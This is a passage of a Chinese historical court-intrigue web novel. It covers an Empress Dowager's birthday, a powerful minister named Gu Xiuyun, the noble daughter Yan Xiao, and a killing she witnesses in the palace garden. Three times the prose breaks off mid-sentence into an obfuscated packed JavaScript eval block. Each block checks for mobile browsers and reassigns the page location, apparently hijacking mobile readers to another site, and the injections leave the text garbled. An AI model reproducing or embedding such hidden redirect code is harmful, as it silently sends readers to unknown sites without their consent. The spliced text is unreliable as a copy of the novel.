入了二月,地暖春回,日头悄悄变短,正是万物复苏的好时节。 当今天子年幼,太后也不过四十,年龄上实在称不上一个“寿”字,却已到了自称“哀家”的辈分。 二月初七,乃是太后的寿辰。天子予瑢年纪虽轻,孝心却一点不少。因今岁是整寿,予瑢特嘱祠部着力操办,祠部尚书柳文宣亲自督察,以确保万无一失。 过了午时,数十顶车轿便陆续汇集至宫门外,冠盖相连,遮天蔽日。 已有些暖意的微风吹动车帘,颜箫就着缝隙向外望了一眼。 窗外姹紫嫣红,群芳争艳,瞧着不像是来为太后贺寿的,倒真是为自己选郎君来了。 润秋捧出点心匣子,递到颜箫跟前,“夫人叮嘱,恐今晚宫宴累人,特备下了糕团让娘子入宫前垫上一口。” 颜箫和檀氏分坐两车,此时车中只有自己的两个侍女,说话倒没什么顾忌。 方才午食用的不少,眼下倒不饿,但颜箫瞧着那精雕细琢的糕点,还是拈起一块送入口中,吃了一块便又丢开手,随口问道:“可见着檀家的马车了?” 染春答:“方才瞧见檀家的马车就在后面不远,夫人吩咐,拜见过太后,娘子便可自去寻檀娘子了。” 颜家四顶马车,在宣阳门前分行两路。 女眷们走台城西侧的千秋门入内宫,是为取个千秋万岁的好兆头,臣子们则是候在正殿太极殿外。 顾修昀今日散了朝会便去了尚书台,元月刚过,复印开朝未满十日,积压的公务尚未理清,陛下前几日偶感风寒,未曾临朝,这几日由顾修昀监理朝政,日日忙得头脚倒悬。他今日还未用午食,此刻打算和皇上问安后便回府换吉服,再入宫赴宫宴。 尚书台就在宫城之内,因而宫城亦被称作台城。 站在宫内甬道上回望,越过重重宫门,可以看到止车门外已有不少人在等候觐见。 顾修昀只看了一眼,便收回视线,默然踏上官道,穿过宫阙无数,直到在一处殿前停下。 他一振官袍,抬步迈上汉白玉台阶。 太极大殿殿门未闭,天子身边的内监高展却候在殿外,见他来,忙上前行礼。 “奴才见过顾司徒。” “高内侍不必多礼。”他抬眼扫过殿门。 高展察言观色的能力不容置疑,接着便道:“司徒来得巧,肃王殿下正在里面呢。奴才这就去通传一声,劳烦司徒在这候一会儿了。” 他颔首,“有劳了。” 东配殿内暖阁中,面容清秀的少年正襟危坐在桌案之后,正在修改着方才肃王审阅过的文章。他一身赤金色龙袍,面庞白净,年纪虽轻,举止间却已初见沉稳。 一个中年男子立在下首,神情肃穆,不苟言笑地看着少年笔下文字。 高内侍来报,“陛下,顾司徒求见。” 年少的天子手下一顿,抬起头笑了一笑,“快请进来。” 高内侍领了旨退下,中年男子微微皱起了眉。 “陛下慌什么?” 他素来有些严肃,少年心头一跳,低头一看才发现,原来他方才和高内侍说话时,没留意将手中蘸了墨水的笔随意地按在了纸上,留下一道墨痕。 他低着头沉默不语。 “心浮气躁不可取,陛下又是君上,更要做到喜怒不形于色。” 少年抬头看他,正了神色,“皇叔教训的是,朕这一病,多日未曾见到司徒,一时激动了些,望皇叔莫怪。” 这少年,便是年仅十七岁的天子予瑢。而这男子是予瑢的叔父,两位辅政大臣之一的肃王萧凛。 肃王余光见殿门口一道身影缓步而来,便朗声道:“陛下是君,旁人都是臣,君臣自当有别,莫要因为谈的投契便乱了尊卑。” 予瑢面色略有些惶恐,立马起身行礼,“多谢皇叔教导,朕记下了。” 顾修昀踏着尾音来到近前,也不知听见没有,行礼时倒是神色未变。 “臣顾修昀参见陛下,参见肃王殿下。” “司徒不必多礼。”予瑢抬手。 肃王睨了顾修昀一眼,没说话。予瑢又觑向另一侧,却见顾修昀神色如常,恍若未觉,不由得心下暗叹。 这两位是先帝钦点的辅政大臣,彼此却颇有些势同水火的意味,他夹在中间,左右为难。 顾修昀呈上几卷公文,率先打破沉默,“禀陛下,臣今日前来,是有几桩要事,臣不能做主,请陛下圣裁。” 予瑢接过文书,奏报中密密麻麻地布满蝇头小篆,是顾修昀的字迹。前几桩倒是小事,顾修昀已列清其中关键,只待他做最后决断即可,只最后一桩有些为难。 说为难,倒也并不是什么难事,仍是许氏谋逆一事。 “许钧罪无可恕,其家眷打入奴籍也是应当。”未诛九族已是开恩,只是,“送去平城,是否有些……为何不判流放?” “陛下仁善,可若要杀鸡儆猴,便不能心存仁慈。”顾修昀垂首道。 予瑢下意识看向肃王,后者并未否决。 “那好吧。”予瑢妥协。他正欲合上案卷,却听顾修昀又道。 “许氏一案,仍有怪异之处。” “何处?” 顾修昀却将话头止住,侧首看向肃王,意图甚是明显。 殿中静默几息,肃王怒目而对,“顾修昀,你这是何意?” “殿下莫误会。此事尚未定论,为免打草惊蛇,自当是越少人知道越好。” 顾修昀唇角微弯,似乎是在解释,但落在肃王眼中,倒更像是在挑衅。 他素来对自己不甚尊重,他说的话也向来不中听,但细细想来,这番话却有些道理。 若是紧要事,他迟早都会知道,而倘若他此时留下来听入耳中,过两日消息泄露,少不得还要被顾修昀这黄口小儿怀疑。思及此,肃王也不打算强留。 只是离开之前,他还有一事要问顾修昀。 “听闻顾司徒未出元月便私自罢免了郑墉,当真是辛苦啊,尚书台的奏章还没看完,又要去操心御史台的事。”虽然司徒之责有评定人才优劣一则,但尚未开朝便自作主张,实在太过嚣张。 没想到顾修昀听了竟嗤笑,“侍御史纠察百官,理当巧舌如簧,公正严明。一则郑墉笨嘴拙舌,二则,身为侍御史,私心大过公心,既不能为陛下分忧,亦不适合留在御史台,下官便替陛下肃清了此等庸人。” 他竟这般毫不留情,仗着陛下的势,行事忒也张狂!肃王强压心中阵阵怒火,才没把这个无法无天的乱臣贼子拖出去。他是先帝钦点的辅政大臣,予瑢对他亦信任有加,予瑢都没说什么,自己又能如何? 他萧氏天下竟交到此人手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286336|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,只怕是气数将尽! 殿内陷入令人惶恐的沉寂,予瑢看看怒目圆睁的肃王,又看看敛眉垂首的顾修昀,想说些什么缓和气氛。 正在此刻,只听殿中莲漏发出“啵”的一声,角落里的内侍上前来报。 “陛下,申时了。” 予瑢松了一口气,挥退了内侍。 肃王深吸一口气,垂首行礼,“臣该去永寿殿为太后贺寿了。” 予瑢连忙应允,“如此,那皇叔便先代朕去探望母后吧。” 肃王的身影消失在殿门外,予瑢这才长舒了一口气,向后靠在凭几上。 顾修昀并没立时向他汇报许氏一案,而是温声问道:“陛下圣体可康健了?” “只是略感风寒,不妨事,如今已大好了,明日便不劳烦司徒监理朝政了。”予瑢性子随了先帝,温和平静,只是尚未及冠,到底稚气未脱,看着桌案上一叠公文,微微蹙眉,“怎么还未上朝,便有如此多要事。” 他没抬头,因而也未察觉到顾修昀唇角微弯,似是勾起一抹笑,却又快速地隐去,“今年确有不少事,桩桩件件都不甚简单。” 予瑢将方才放下的许氏卷宗又拿起看了看,并未看出端倪,“司徒所说许氏逆案的怪异之处,究竟是何处?” “陛下试想,若要谋逆,势必要备下充足的钱粮辎重,况且凉州天寒,即便是当年臣随先父谋逆时已是初春,凉州仍需穿复衣棉袍。” 他这话太过直白,予瑢不禁抬头看他一眼,内心有些复杂。 顾修昀却神色平静,“若要准备粮草,陛下认为,许氏需要什么?” “……钱?” “正是。”顾修昀颔首,“钱从何来?” “若要筹钱,必得是广开财路。”予瑢试探问,“但许钧在凉州多年,名下却只有薄田几亩,许氏祖宅在并州也只有一间田庄,无额外营生,这些产业并不足以支撑他行事。司徒所说怪异之处,可是如此?” “正是。” 顾修昀没有接着说下去,予瑢便知这其中还有些关窍是他一时没想到的,凝神思索,“……既然我们能想到此节,许钧身为一州刺史,必然也不会如此愚蠢。若田庄是他故意留在手中的,那其他产业想必在举事前就已转移。” 他再次看向手中案卷,顺着这个思路,果然发现异样。 “许钧在举事前两个月与妻和离?”予瑢抬眼看向顾修昀,从他眼中看到赞许神色,便知道自己说对了关键。 顾修昀道:“许氏内眷于去岁冬月回到建邺,因与许钧和离,此番并未波及到她。” “话虽如此,但时间上未免太巧了些,是否应当将许夫人一并收押审问?” “臣已审过了。” 予瑢静默一瞬,今日才二月初七,他速度未免太快。 “许夫人言,许钧内宅一向清静,去岁秋日,却忽纳入了几个胡姬在房中,两人因此争吵不断,不多日便写了和离书,放妻归京,她并不知许钧竟一直策划谋逆之事。” 许钧冬月起兵,事先要调配各处兵马粮草,如此动作连枕边人都毫无察觉,这话谁信? “此外,凉州军中有人苟且偷生,事发后至怀远军帐下投诚,也提到过许夫人和离回京一事。” “凉州军中将士为何会报到怀远军袁将军处?” 本朝各州郡自南渡以前便实行两府并立的制度,都督军府和刺史府分属中央,与戍边的怀远军当并无交集才是,予瑢疑惑,于是插言问了句。 却见顾修昀冷了神色,“凉州刺史胆敢与都督军府暗中勾结,合谋起兵,臣已下令,将凉州军暂交由怀远军接管。” 提到怀远军,某些情绪终究是无法避免,予瑢垂眸,亦不愿多提,由着他做决断。 莲漏中传来的汩汩水流声冷却了殿内气氛,予瑢望过去,这才忆起方才太后遣人来叮嘱他的事。 可顾修昀似乎存心不让予瑢安生,他尚未开口便被打断。 “还有一事,忘记禀明陛下。许夫人因许钧纳胡姬而与他,但,”顾修昀一顿,语不惊人死不休,“许夫人自己,亦是外族人。” “什么意思?”予瑢心中一震。 顾修昀勾唇笑笑,似是觉得有趣。 “端看近日京城,何处会骤生波澜了。” 金猊兽静静吐着烟,予瑢看着眼前的青年。他总能这般运筹帷幄,仿佛世间一切皆在他意料之中。 予瑢不禁想起顾修昀来之前肃王的话。 “陛下这般信任他,就不怕六年前的事再度上演吗?” 4. 顾司徒 顾修昀离开太极殿时,申时已过半。 他并未出宫回府,而是径直去往永寿殿。 方才太后再次遣了侍女来传话,请司徒即刻前去,他推脱不得,只好着官袍前往。 酉时初,太后将在永寿殿会见各家女眷,此时将他叫去是为着什么,顾修昀心下早已明了。 此时永寿殿外已是花团锦簇,沉寂了整个冬日的女郎如同北归的雏雁,谈笑声隔着道宫墙都听得见。 顾修昀到时,肃王正巧从殿中出来,他停下行礼,肃王冷睨他一眼,脚步不停。 永寿殿中,太后端坐上首,正与肃王妃崔氏闲话家常。 太后出身下邳梁氏,素有世家风范,为人随和,虽跟随先帝在边地多年,却保养得宜,瞧着比同龄的崔氏还年轻几分。 两人正谈笑间,侍女来报。 “禀太后,顾司徒到了。” 崔氏举着茶盏的手一顿,不免诧异,这时节,顾司徒怎来了? 顾修昀行至座下,不等太后说话,吉语先至。 “臣顾修昀恭祝太后寿辰,愿太后身如月恒日升,不骞不崩。” 太后笑得合不拢嘴,“好孩子,快快起来坐下。” 侍女早已在太后下首备下坐席,顾修昀依言跽坐在侧。 太后将顾修昀视如己出,待他素来亲厚,细细询问了顾修昀近日起居,随后话锋一转,状似不经意道:“我知你平日事忙,鲜少出门应酬,家中也没有主事之人,但同朝为官,虽不可结党营私,却也不该敬而远之。” 这一番话在顾修昀意料之中,他垂眸,恭敬称是。 崔氏闻言,笑了笑,只低头喝茶,对太后未尽之言已然心领神会。 * 檀氏身子重,别家女眷皆候在殿外甬道上,颜氏的马车却能停在殿门口,引得不少人翘首探望。 颜箫陪着檀氏坐在车中,不忘叮嘱:“阿娘可要当心,今日人多,莫要被人冲撞了。” 檀氏瞧她比自己还紧张,眉头微蹙的模样像极了颜炳,莞尔一笑。 “不妨事,太后体恤,必会着人关照,到时候呈了贺礼,我便安稳坐着,你只管寻了女郎们说话去。” 颜箫四顾,意有所指,“阿娘可未必能寻得清静。” 母女两人说着话,车下便有侍女前来引路,请檀氏与颜十一娘入殿觐见。 早春时节,料峭春风尚有冷意,柳枝还未抽新芽,枯枝垂在水边,偶被东风吹得四散。殿后花园中,隐隐飘来笑语声,想来是拜见过太后的女郎们正聚在一起闲谈。 颜箫跟在檀氏后面,面上八风不动,一路行至殿前。 进了殿中,便有一阵暖香融融袭来。 颜氏母女到的不算早,此时殿中已是官眷如云。侍女报了来人,檀氏携女上前,恭谨行礼。 只听得上首的太后“哎哟”一声,“颜夫人这身子瞧着比年前宫宴时又重了不少。”又一迭声地赐座。 崔氏也道:“可不,到了这个月份一天一个样。” 檀氏笑着应和,“妾身倒不觉如何,只是愁坏了府中绣娘,才做好的衣裳没几天就穿不下了。” 殿中坐着的皆是年岁稍长的贵妇,谈起妇人生产事来并无避讳。 忽听不知哪位夫人转了话题,掩口轻笑,“许久未见十一娘,竟已出落得这般亭亭玉立。” 颜箫虽未出声,但句句话都听在耳中,此时察觉到数道目光集中在自己身上,便款步而出。 “臣女颜箫拜见太后,恭祝太后圣体安康,如南山之寿,如松柏之茂,不骞不崩,无不尔或承。” 太后似有些惊讶,不知对着谁说了句,“倒是和你想到一块去了。”又对颜箫笑说:“十一娘不必拘礼,抬起头来我瞧瞧。” 颜箫闻言便微微抬了头。 她方才垂眸立在檀氏身后,一向恪守着规矩,并不四处打量,因此并不知道上首竟还坐着个男子。 那人瞧着很是年轻,一袭绛紫色广袖官袍,腰束白玉带板,宽肩薄背,挺如青松。他眉目舒朗,面容沉静,头顶玉冠,日光透过层层窗纱映在他侧脸上,如同金箔浮于湖面,将人笼上一层暖色,然他周身的清绝孤傲,却又似剑鞘击水,冲破那层暖色面纱,寒光凛冽间,似有杀伐之气。 在一众热络女眷中显得格格不入。 颜箫离得远,看得并不真切,却能辨出他出尘的容貌,一时竟有些失神。 许是她目光停留得太久,顾修昀似有所感,他抬眼,不偏不倚的望过来。 两人视线相对的那一瞬,颜箫立时回过了神。 但她却并没移开视线,不然显得像是她做贼心虚一般。 然而那年轻郎君竟也不曾退缩,平静地望着她,神色未变。 两人莫名其妙地僵持了片刻,颜箫忽然有些恼怒。 诚然,是她失礼在先,可大庭广众之下,他这样盯着一位素未谋面的年轻女郎,又是什么道理? 好生无礼! 顾修昀辨得出她眼中情绪,率先移开视线,复又低头饮茶。 琅琊颜氏十一娘,眉眼间与颜太傅家的六郎有几分相像。雪肤花容,绮年玉貌,只是她这样盯着人不放—— 似乎刁蛮了些。 殿上诸人也不知讨论了多久,颜箫只听得崔氏一句,“就是寻遍了建邺城,也找不出比十一娘更俊俏的小娘子了。” 颜箫暗怪自己沉不住气,怎忘了这是在太后銮驾之前,不着痕迹地收回视线,抿唇一笑,落落大方。 “殿下谬赞。身体发肤受之父母,臣女不过是有幸得了副好皮囊,自然要小谨慎做人,是断不敢在建邺称王称霸的。” 若论在长辈面前讨巧,颜箫是一把好手,一番话惹得太后和崔氏掩唇低笑。 余光所见,就连太后下首那男子似乎都轻抿薄唇。 眼见着座中众人纷纷与檀氏及颜箫攀谈,场面比之方才热络不少,太后岂能不知她们心中打的是何算盘?她状似无意地向顾修昀瞥去一眼,见他端坐不动,连眼神都未多分一分给颜箫,心下暗叹。 顶好的女郎,怎么就入不得他的眼呢! * 颜箫退出永寿殿,脑海中又浮现出了那男子的身影。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286337|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她自忖也不是没见过生得好看的少年郎,不论是神采飞扬如檀家表兄,或是温润如江南烟雨的陆鸣渊,便是她阿兄颜笙,那也是姿容俊逸,一等一的好皮囊。但如这人一般气质的,却并不多见。 江南润泽之地,多出翩翩少年郎,那人却浑然不似那等瘦弱青年,身形也不似寻常郎君那般清癯,像寒冬的霜雪打磨出的玉石,锋芒尽收。 他是谁呢? 他身上那件绛紫色官袍颜箫认得,非三品以上的朝臣不可着紫,颜箫父亲颜炳是一品太傅,有着同样的紫袍。司空杜景颜箫也认得,若他也是三公之一,那么他便是—— “许久不见十一娘,怎么,不认得我了?” 忽然一道男声拉回了颜箫的思绪,她这才恍然发觉,不知何时,她竟走到了水边一处凉亭前,而领路的侍女已不见了踪影,亭中却站着个绯衣少年。 颜箫认清来人,“世子殿下。” 正是肃王世子予琰。 “几日不见,十一娘怎么如此见外,不该唤一声表兄么?” 予琰迈步走出凉亭,勾唇轻笑,十足的浪荡子模样。 颜氏与萧氏沾亲,颜箫的祖母襄陵公主是当今天子和肃王世子的姑祖母,虽先人已作古,但论起来颜箫是该唤予琰一声表兄。 这位表兄人物风流,她素来不喜,眼下她又想起那日檀氏的话,当下神色便冷了几分。 “世子请自重。” “自重?”予琰不怒反笑,又上前了几步,假作没看见颜箫在后退,“十一娘怕什么?宫城之中,我能如何?” 他笑得实在欠揍,颜箫腾地火起。 今日撞了什么邪,殿上一个登徒子,殿外一个登徒子,都叫她遇上了! 眼前予琰还歪着脑袋朝她笑,颜箫知道他也无非就是嘴上功夫,做不来什么出格举动,一句话都不想说,扭头就走。 永寿殿她来过多次,没人引路她也能找到方向,循着笑声,轻而易举寻到了水榭中。 杜家四娘杜蕴容朝她招手。 “阿颜,这边!” 杜蕴容身边花团锦簇,围着的一群女郎颜箫大多认识。众人见颜箫来了,纷纷让开一条道,颜箫便在杜蕴容身边坐下。 “方才我们正说着顾司徒要颁新令,说是会稽郡人多地少,佃户闹事,要没收士族在会稽的别院。倒也不是全部没收,只是超出规制的部分要归公,阿颜你听说了不曾?”杜蕴容问她。 此事颜箫亦有所耳闻,无非是顾司徒想要打压士族,还政于萧氏皇族。 好一个忠肝义胆的忠臣! 她这会儿心中有气还没消,想起方才殿上忠臣直勾勾的眼神,冷笑一声。 “这等不自量力的佞臣,只怕是看不到门阀没落的那日了。” 才得了太后准许出来透风的顾修昀刚巧走到一处假山后面,有风从湖面上飘来,连带着将这话也送进了他的耳朵。 边上侍女神色骤变,恨不得将头埋到地下,不敢看身边这位权倾朝野的顾司徒一眼。而顾修昀倒是神色平静,负手立在假山之后,片刻后,竟还轻轻一笑。 5. 宜慎言 颜箫方才是脱口而出,此时也觉得自己失言。 虽则顾司徒名声并不好,但台城之内,毕竟他身份尊贵,还有太后在此,确实不该如此造次。 水榭中静了一瞬,很快又恢复喧闹。 在场女眷大多出身士族,对颜箫这般直言既不惊讶,也不恐慌,反而还另眼相看,称是不畏权势的世家风范。 “你方才在殿中可瞧见了?”杜蕴容凑过来问颜箫。 “什么?” “顾司徒呀!”杜蕴容神秘兮兮的,“太后待顾司徒亲厚,要借此良机为顾司徒相看呢。” 年前梁氏与杜氏缔姻,梁太后侄儿梁言娶杜司空长女,杜蕴容知道这事也不足为奇。 “瞧着顾司徒并不年轻,缘何一直未曾娶妻?”一旁坐着的柳氏女柳文茵也好奇问道。 顾修昀入京两载,对他的事,人们似乎总是讳莫如深,又充满好奇。 杜蕴容是打探消息的能手,“顾司徒如今父母俱亡,族中人又对他敬而远之,只有太后替他操持。可这些年司徒对士族大开杀戒,得罪了不少人,哪家愿意把女儿嫁过去?高不成低不就,自然是婚事无望了。” 颜箫默默吃茶,替顾司徒盘算起来。 如今雄踞江左的士族不过也就数得上来的那几家,侨姓士族中,除开她家琅琊颜氏,和阿娘家高平檀氏,另有乐安杜氏和下邳梁氏,江南士族较之侨姓士族虽略逊一筹,但人丁兴旺,如平湖陆氏,吴郡顾氏,京江柳氏,吴兴沈氏。 朝廷初初南渡之时,世家大族自恃身份,几乎不与寒门庶族联姻,因此几大家族相互之间皆有姻亲,盘根错节,牢牢把控着朝堂。 这些士族平日里不见多团结,遇事却能携手一致对外,顾司徒入京这两年,对士族多有打压,几乎将人得罪了干净,纵使他位高权重,哪里还有人愿意将家中女郎嫁与她? 不唯如此,自顾修昀入主尚书台以来,还提拔了不少寒门高官。尚书台五位尚书有三位皆是庶族。明明他也是出身世家,却愿意将世家职权让渡给寒门,颜箫不明白他所图为何。 “那太后看中了谁呢?”颜箫忽然好奇。 杜蕴容摇头,“这倒不知道了,左不过就是我们中的某一个。” 这话说得惊悚,其他几人面面相觑。 杜蕴容眼珠一转,目光落在柳文茵身上,“不过阿柳倒是不必担心,太后自然舍不得将你指给顾司徒。” 颜箫闻言笑道:“听说梁家小郎君春末便要从润州竹山书院归京,进国子学读书,可有此事?” 陆家女郎陆鸣澜也来凑趣,“不知梁家小郎是单为了进国子学才回京,还是也为了什么旁的事。” 柳文茵面上浮现点点红云,别过脸去,声细如蚊,“这话要问他去,怎么来问我……” “几位阿姐在笑什么,好生热闹!”水榭外传来人声。 颜箫望过去,瞧见几位寒门女郎正自廊桥而来,有谢家女郎,郑家女郎,余下几个瞧着眼熟,却记不得姓名。 这几人以郑家女郎郑月瑶为首,才一踏入水榭便莺莺燕燕围做一团。 不知郑月瑶方才是听到了颜箫几人的对话,还是凑巧忆起,见了柳文茵,抚掌而笑。 “前些日听我阿父说阿柳要同梁家说亲,不知可说定了没有?” 她是想同柳文茵拉近关系,可此事虽则只差一层窗户纸,却尚未捅破,她这样一问,叫人如何作答都不是,柳文茵面色并不好看。 “阿郑慎言。” 郑月瑶明明听得真切,不明白为何柳文茵会否认,正要疑惑,身旁谢家女郎谢玉含便冷着嗓音打断了她。 “不知阿郑从哪里听来的,莫要浑说,当心以讹传讹,毁了人家声名。” 谢玉含生性冷淡,郑月瑶一向嫌她清高虚伪,当众被呛声,有些不乐意,提高了嗓音道:“怎么是我浑说,我阿父是听梁中丞和柳中书说起的,当时颜太傅也在场,不信你问阿颜!” 她一句话得罪四个人,几道目光投向颜箫。 “抱歉,方才是在说什么?”颜箫歉然发问。 非是她故意轻视,她是真没听到,她方才正四下里寻找檀止的身影。 谢玉含冷笑一声,也不知为何,就是打定主意不相信郑月瑶所言,“阿郑莫要随意攀扯旁人,听错了便说听错了,还有谁会怪罪你不成?” 郑月瑶睁大了眼睛,“我真没听错,我阿父当真这样说的!” 颜箫略觉吵闹,趁着几人没吵得更大声时,起身告罪自去更衣。 * 水榭旁有处湖石堆砌的假山,穿过蜿蜒曲折的碎石子路,旁边有个垂花门,通向湖面的另一侧。 颜箫只想找个无人的地方清静清静,见那边似乎安静少人,便抬步向那边去。 才迈过垂花门,身旁染春低声道:“娘子快看,檀娘子在那边。” 前面不远处有座临水花厅,四下无人,只有一个银红月袍的女郎和她的侍女,正倚着栏杆,一把一把地往湖中扔鱼食。 颜箫一看,果然是她正在找的人。 “你这是想将鱼喂饱,还是想将鱼喂死?”她站在花厅外,笑吟吟道。 那女郎听了声音,回过头来,露出一张明眸善睐的白净面庞,一头散发高束着,平添几分飒爽,笑起来便如烈烈朝阳般明媚。 “阿箫!”她向颜箫招手。 这便是骠骑将军檀道之女,亦是颜箫表姐,檀止。 颜箫步入花厅中,“方才寻你不见,竟是在这躲清静!” “我方才险些和郑月瑶撞上,她缠人得紧,你不也是被她缠怕了才跑来的吗?”檀止惊魂未定。 颜箫笑道:“你人躲在这,消息倒灵通。” 檀止抬手一指,透过岸边一丛柳枝,刚巧能看见湖心水榭。 她这一指似有怪力,水榭那边登时便传来女子吵闹声。 “凭他什么司徒宰辅,位高权重的,谁若是进了他家的门,那才真是毁了累世的清誉!若是再像许家那样,那……” “阿郑慎言!这可是在台城,岂能胡言乱语!” 颜箫和檀止对视一眼。 “是郑月瑶?”原来不止她一人对顾司徒出言不逊。 檀止也听出来了,“郑月瑶未免也太大胆,许家的事才过去没多久,顾司徒又正得势,她竟敢在太后殿中议论此事。” 郑月瑶素来口无遮拦,三言两语便能被人挑拨生事,颜箫虽知她为人,却觉她这次并非无理取闹。 “前些日顾司徒罢免了郑侍御史,连带着郑月瑶议亲之事都要受牵连,这是无妄之灾,她心中有气,对顾司徒自然没什么好印象。” 檀止对这些事一概不知,“顾司徒为何要这样?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286338|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“似乎是为着许家的事,两人当街起了争执。”颜箫也只是听颜炳和颜笙提了一嘴。 她还记着顾司徒不加掩饰的眼神,她对他自然也没什么好印象。 “不过是政见不合,便动辄将人罢免,我看顾司徒才是无理取闹。”又想起他在会稽郡施行的新政,更是愤愤,从檀止手中抓了一小撮鱼食,一股脑丢进湖中。 “除了模样俊些,一无是处!” 檀止“扑哧”笑出了声,半晌,又认真了神色。 “顾司徒不是这样的人,我阿兄当年在并州行军时,曾在顾司徒麾下任中郎将,顾司徒爱惜部下,用兵如神,军中是人人夸赞的。”檀止面露敬佩之色,“你可知军中之人大多桀骜不驯,可都对顾司徒俯首帖耳,他必是位极好的主将!” 颜箫对顾修昀了解不多,她只知六年前建邺那场兵乱,皆因当时的怀远军主帅顾氏父子自边地起兵。而顾修昀之父顾行之亦死在了那场叛乱中,七万怀远军在主帅之子顾修昀的带领下,一路从凉州杀至建邺,闯入台城,取崇治帝首级,拥立先帝登基,改朝换代。 叛乱、弑君,这是实打实的谋逆大罪。 她当时不过才十一二岁的光景,只记得有一阵子阿娘说外头不太平,将她圈在家中足有两个月,后来也无人提起缘由,江山却已易主。她私下里去问颜笙,颜笙只道她还小,也不肯和她多说。直至两年多以前,先帝驾崩,太子予瑢登基,拿出先帝密诏,封怀远军主将顾修昀为司徒、门下侍中,加录尚书事,辅佐幼帝时,京中又是一片哗然。 二十一岁便官至三公,这是历朝历代都从未有过的殊荣,但这位站在丹墀之下的青年,却似乎并未获得他应有的尊荣。 颜箫对于顾修昀的全部认知仅限于此,可檀止不会骗她。 “或许他是位极好的主将,却未必是个忠义的臣子。” * 郑月瑶在水榭中才刚与人争吵起来,这边太后就知晓了,派了侍女去问询,回来禀报时只说是几位女郎为着顾司徒争论了几句,又当着一众贵妇的面将郑月瑶的话复述给了太后。 一时间殿上众人噤若寒蝉,连肃王妃都沉默不语。郑夫人更是面如土色,幸而顾修昀眼下不在殿中,若被他听见了首尾,知道郑月瑶因郑墉之故当众驳他脸面,恐怕眼下已坐进廷尉狱中了。 可即便没叫他本人听见,但人人皆知顾修昀有太后庇护,得罪了太后和得罪顾司徒又有什么分别? 郑夫人汗透后心,几次嗫嚅想为郑月瑶辩解,但见了周围人个个眼观鼻鼻观心,到底是不敢开口。 梁太后却不紧不慢的喝着茶,半晌没说话。 她搅动着茶盏里的浮叶,平静道:“都是哪几位女郎在水榭中啊?” 答话的侍女是太后身边的人,不必给几位女郎留情面,一五一十的报了人名。 郑夫人面色惨白,站都站不起来,“扑通”一声跪下,声音都发了抖。 “妾身教女无方,回去、回去定严加管教,今日太后大喜的日子,求太后莫要将童言无忌放在心上。” 其余几位夫人也纷纷起身附和。 “童言无忌?” 殿中一片死寂,仿佛过了许久,却又好像只过了一瞬。 太后放下茶盏,终是淡淡一笑,“若是口无遮拦,是该严加管教。可若是别有用心,该如何管教呢?” 6. 瓮中鳖 宫宴在戌时初刻开始。 酉时已过半,躲清静的两人在花厅中边叙话边撒鱼食,檀止吃多了茶果,永寿殿的侍女引她去更衣,颜箫便先行往水榭而去。 日头西移,躲进了厚厚的云层里,不多时便冷了下来,水畔更是阴湿,寒气悄无声息的浸润肌骨,冻得人手脚发麻。颜箫遣了染春回去取袖炉,一边加紧脚步欲从花园绕回水榭中。 她并不知自己方才借故离开水榭,竟阴差阳错地躲过了太后的责罚。 绕过几株腊梅,再穿过片积着残雪的山石造景,便能拐回到通往水榭的廊桥上。 先帝尚简,台城的花园也修得简朴,甚至不如颜家花园精巧,寥寥几眼看过去,并无什么景致可观赏。 正要踏进假山时,冷不丁却听到一个男声。 “……那日封禁许家时,竟把你漏下了,倒是本官的疏忽。” 声线醇厚而沉着,如同沉玉撞在青瓷瓶中,叮当作响,清冽冷峻。 “你这狗官,真要让许家绝后吗!”紧接着另一道尖利的声音响起,听着竟似是个内侍。 那声音离得极近,颜箫脚步一顿,转身就要走,却在听到“许家”两字时,让好奇占了上风。她环顾四周,见嶙峋怪石间有处内陷的空隙,便闪身躲了进去。 那声音悦耳的男子轻笑了声,“不杀你,许家也未必有后吧。” “狗官,你别逼人太甚!许氏族中那么多总角孩童,他们总有一天会长大,等他们知道了是你让他们卑躬屈膝给鲜卑人当牛做马,你就不怕他们来找你报仇吗!”那内侍近乎癫狂的喊叫着。 “尽管来,”他语调轻松,“本官就在这等着。” 颜箫悄悄探出头去,想看看是哪位狗官在此作恶。 然而下一瞬,只见一片刺目的红色自层层湖石之间喷射而出,一片绛紫色衣角微动,两道极艳的色彩在一片灰石白雪间格外醒目。 那是……血? 颜箫蓦地睁大眼睛,惊骇不已,下意识后退几步,方才便冻得微麻的手脚此时已麻到四肢,连手臂不小心撞在了凸起的石壁上都未能察觉。 是谁?敢在太后宫中草菅人命? 假山后面传来呜咽声,悦耳的男声低沉轻蔑,“果然如此。” 而后又唤来一人,“拖下去,处理干净,告诉冯益,我要活的。” 